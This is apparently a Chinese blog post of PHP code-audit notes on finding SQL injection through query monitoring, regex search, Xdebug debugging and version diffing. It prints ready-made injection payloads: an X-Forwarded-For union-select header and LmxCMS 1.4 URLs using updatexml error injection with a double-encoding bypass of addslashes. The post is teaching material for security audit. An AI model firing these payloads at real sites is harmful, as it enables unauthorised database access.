PHP审计:SQL注入类

PHP审计:SQL注入类
漏洞本质:特定函数+可控变量
本章内容:基于SQL注入的代码审计

一.数据库监控

eg.1:QQ业务源码系统-(无过滤)

1.数据库SQL监控排查可利用语句定向分析
image

2.刷新页面seay数据库监控得到可能存在的变量127.0.0.1
image

3.找到代码中对应执行的sql语句
image

4.定位函数ywdd发现XFF头注入
这里可以改变XFF在数据库监控验证变量是否可控
image

5.构造payload插入数据包:
X-Forwarded-for: 127.0.0.1' and 1=2 union select 1,user(),3,4,5#
image

二.正则匹配

常用sql注入函数正则匹配,IDE内ctrl+shift+f全局检索
(update|select|insert|delete|).?where.=

eg.2:Bluecms源码系统-(无过滤)

三.动态调试技术

动态调试配置:phpStudy + PhpStorm + XDebug
https://blog.csdn.net/nzjdsds/article/details/100114242
1)先确定PHP版本有Xdebug
2)php.ini配置写入并开启Xdebug
3)PhpStorm设置端口及IDEY并测试
4)PhpStorm开启监听并运行断点访问

四.文件对比技术

工具:Beyond Compare 4

CNVD拿1DAY

eg.3LmxCMS V1.4后台Bo.cl.php文件存在SQL注入漏洞

https://www.cnvd.org.cn/flaw/show/CNVD-2020-59466
过程省略
构造payload:
http://localhost/lmxcms1.4/admin.php?m=book&a=reply&id=1)%20and%20updatexml(0,concat(0x7e,user()),1)%23

eg.4LmxCMS V1.4前台Ta.cl.php存在SQL注入漏洞

https://www.cnvd.org.cn/flaw/show/CNVD-2019-05674
image

1.定位对应文件以及参数:
image

2.跟踪定位SQL语句:
image

3.查看过滤为addslashes,可通过urldecode两次编码绕过:
image

4.构造payload:
http://localhost/lmxcms1.4/?m=tags&name=a' and updatexml(0%2Cconcat(0x7e%2Cuser())%2C1)%23
image

5.使用Beyond Compare 4对比1.4与1.41文件代码不同,发现更新版本过滤情况:更新为先过滤,再解码从而规避注入。
image

posted @   胡阿斐  阅读(175)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示